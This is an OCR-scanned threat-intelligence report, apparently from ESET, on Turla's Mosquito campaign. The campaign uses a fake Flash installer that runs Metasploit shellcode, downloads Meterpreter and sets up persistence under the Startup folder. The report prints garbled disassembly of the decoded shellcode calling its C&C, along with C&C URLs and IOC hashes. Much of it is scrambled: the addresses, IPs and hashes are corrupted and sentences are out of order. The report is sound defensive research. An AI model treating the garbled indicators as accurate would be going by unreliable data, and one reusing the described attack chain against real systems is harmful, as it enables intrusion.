Mosquito. We have also published indicators of compromise [4]. Since then, the campaign has

remained very active and attackers have been busy changing their tactics to remain as stealthy

Y
@ Our January 2018 white paper [3] was the first public analysis of a Turla campaign called

as possible.

Starting in March 2018, we observed a significant change in the campaign: it now leverages the
open source exploitation framework Metasploit before dropping the custom Mosquito
backdoor. It is not the first time Turla has used generic tools. In the past, we have seen the
group using open-source password dumpers such as Mimikatz. However, to our knowledge,
this is the first time Turla has used Metasploit as a first stage backdoor, instead of relying on

one of its own tools such as Skipper [5].
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As described in our earlier analysis [3], the typical vector of compromise of the Mosquito
campaign is still a fake Flash installer, in reality installing both the Turla backdoor and the
legitimate Adobe Flash Player. The typical targets are still embassies and consulates in Eastern
Europe.

We showed that the compromise happens when the user downloads a Flash installer from
get.adobe.com through HTTP. Traffic was intercepted on a node between the end machine
and the Adobe servers, allowing Turla’s operators to replace the legitimate Flash executable
with a trojanized version. The following image shows the different points where the traffic
could in theory be intercepted. Please note that we believe the fifth possibility to be excluded,

as, to the best of our knowledge, Adobe/Akamai was not compromised.
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Even though we were not able to spot traffic interception subsequently, we found a new
executable that is still impersonating the Flash installer and is named
flashplayer28 xa install.exe.Thus, we believe the same method of initial compromise

Is still being used.

Analysis
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At the beginning of March 2018, as part of our regular tracking of Turla’s activities, we observed
some changes in the Mosquito campaign. Even though they did not make use of

groundbreaking techniques, this is a significant shift in Turla’s Tactics, Techniques and
Procedures (TTPs).

Previously, the chain of compromise was a fake Flash installer dropping a loader and the main

backdoor. The following figure summarizes the process.

Mosquito Loader

Drops

Drops
Fake Flash Installer > Mosquito Backdoor

Downloads
or
Drops

Recently, we observed a change in the way in which the final backdoor is dropped. Turla’s
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campaign still relies on a fake Flash installer but, instead of directly dropping the two malicious
DLLs, it executes a Metasploit shellcode and drops, or downloads from Google Drive, a
legitimate Flash installer. Then, the shellcode downloads a Meterpreter, which is a typical
Metasploit payload [6], allowing the attacker to control the compromised machine. Finally, the

machine may receive the typical Mosquito backdoor. The figure below summarizes the new

process.
Mosquito Loader
Downloads
Downloads
Metasploit Shellcode [l Meterpreter
Executes
Downloads
Fake Flash Installer Mosquito Backdoor

Downloads
or
Drops

Because Metasploit is being used, we might also guess that an operator controls the
exploitation process manually. The time frame of the attack was relatively short as the final

backdoor was dropped within thirty minutes of the start of the compromise attempt.

The shellcode is a typical Metasploit shellcode, protected using the shikata_ga_nai encoder [7]
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with seven iterations. The following screenshots show the encoded and the decoded payload.

segBon: Peeneeeo fcmovb  st, st(2)

segbfe: peevpee2 fnstenv byte ptr [esp-8Ch]

seghil: BEEREERG mov edx, 4F98B585h

segbBd: eeeeeees pop ebp

segbdd: BReaaeaCc sub BCX, BCX

segdBd: BeeBR0RE mow cl, 83h

segldd: peeaae1e add ebp, 4

segbfo: peeveel13 xor [ebp+13h], edx

segdBd: eeeeels add edx, eax

segldd: peeaae1s cmpshb

segf0d: 00000019 jb short near ptr INEEEEEDSH
segBf0: peenee1s bound edi, [eax-1FACFDSER]
segBfa: peenee21 xchg dl, [edi+37h]

seghBl: BEERAR2S std

segbBd: peeeRe2e cmp eax, OBDACFEEEhR

segbfo: peepee28s rol dword ptr [edx-44h], 3Dh
segdfn: peenee2r arpl [eax+41h], dx

segBfo: peeeee32 adc dword ptr [edi], 64h ; "d’
seghdd: BEERAR3S neg dword ptr ds:BE7A3IBEE3h[ecx*2]
segddd:BeeeeaIc retn
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segldd: paeaalii push eax

seghlBld: Beeaa1vE push BCHIFB957h ; InternetConnectd
segbil:0ee8al1vE ; to 289.239.115.91
segldd: peeaals3 call ebp

seghlBld: Baeaa18s mow esi, eax

segddd: eeaeels’ push ebx

segldd: DEREA1E3 push

segldd: Beeaalsl push ebx

segbdd: peeeelst push ebx

segldd: DeRaa1sF push ebx

segBBd: 0eeeel1se push edi

segldd: paeaalal push ebx I

segldd: peeaa192 push esi

segBBd: eeaeel1ss push ; HttpOpenRequest
segldd: peeaal9s call ebp

segll: BeRaa19A xchg eax, esi

segbdd: eeeeelss push Bah

segldd: paeaalaD pop edi

segbob : 0888819t

segbdd: eeee19E loc 19E: ; CODE XREF: segbB®:eeeeolCF]
segldd: BEREA19E push

segBBd: eeaealAs mow eax, esp

segdBd: BeaealAS push 4

segldd: peeaa1A7 push eax

segBBd: 0eeee1As push 1Fh

segldd: peeaalan push esi

segld: BERaa1AB push ; InternetSetOptionA
segBBd: 0eeee1ee call ebp

segldd: peeaals2 push ebx

seghBd: Beeaa1E3 push ebx

segdBd: geeeeles push ebx

segldd: BeRaa1ES push ebx

seghfld: BaeRa1E6 push esi

segddd: eeeeeley push ; HttpSendRequestA
segldd: Beeaal1BC call ebp

Once the shellcode is decoded, it contacts its C&C at https://209.239.115[.]91/6 OHE), which
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directs the download of an additional shellcode. Based on our telemetry, we identified the next
stage to be a Meterpreter. That IP address is already known as a previously seen Mosquito C&C

domain, psychology-blog.ezual.Jcom, was resolving to it in October 2017.

Finally, the fake Flash installer downloads a legitimate Adobe installer, from a Google Drive URL,

and executes it to lull the user into thinking all went correctly.

Additional tools

In addition to the new fake Flash installer and Meterpreter, we observed the use of several

other tools.

O A custom executable that only contains the Metasploit shellcode. This is used to maintain access to a
Meterpreter session. Itis saved to C: \Users\
<username>\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\msupdateconf.exe, granting the executable persistence.

O Another custom executable used to execute PowerShell scripts.

D The Mosquito JScript backdoor that uses Google Apps Script as its C&C server.
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() Privilege escalation using the Metasploit module ext_server priv.x86.d11[8].

Conclusion

In this post, we have presented the evolutions of the Turla Mosquito campaign over the last
few months. The major change we observed was the use of Metasploit, an open-source
penetration testing project, as a first stage for the custom Mosquito backdoor. This might be
useful information for defenders performing incident response on attacks involving Turla.

For any inquiries, or to make sample submissions related to the subject, contact us at threatintel@eset.com.

C&C

() https://209.239.115[.]91/60HE]

(U https://70.32.39[.]1219/n2DE3

Link to the legitimate Flash installer

() nhttps://drive.google[.Jcom/uc?
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authuser=0&id=1s4kyrwa7gCH8I5ZIEUTIZ_JaR48A7UeP&export=download

l0Cs
Filename SHAI1 SHA256
flashplayer28_xa_install.exe 33d3b0ec31bfcl6dcb1blff82550aal7fa4c07¢c5 fob83eff6d705c214993be9575
msupdateconf.exe 114¢1585f1ca2878a187f1ce7079154cc60db7f5 1193033d6526416e07a5f2002:
msupdatesmal.exe 994¢8920180d0395c4b4eb6e7737961be6108f64 6868cdac0f06232608178b10T
Kl | i
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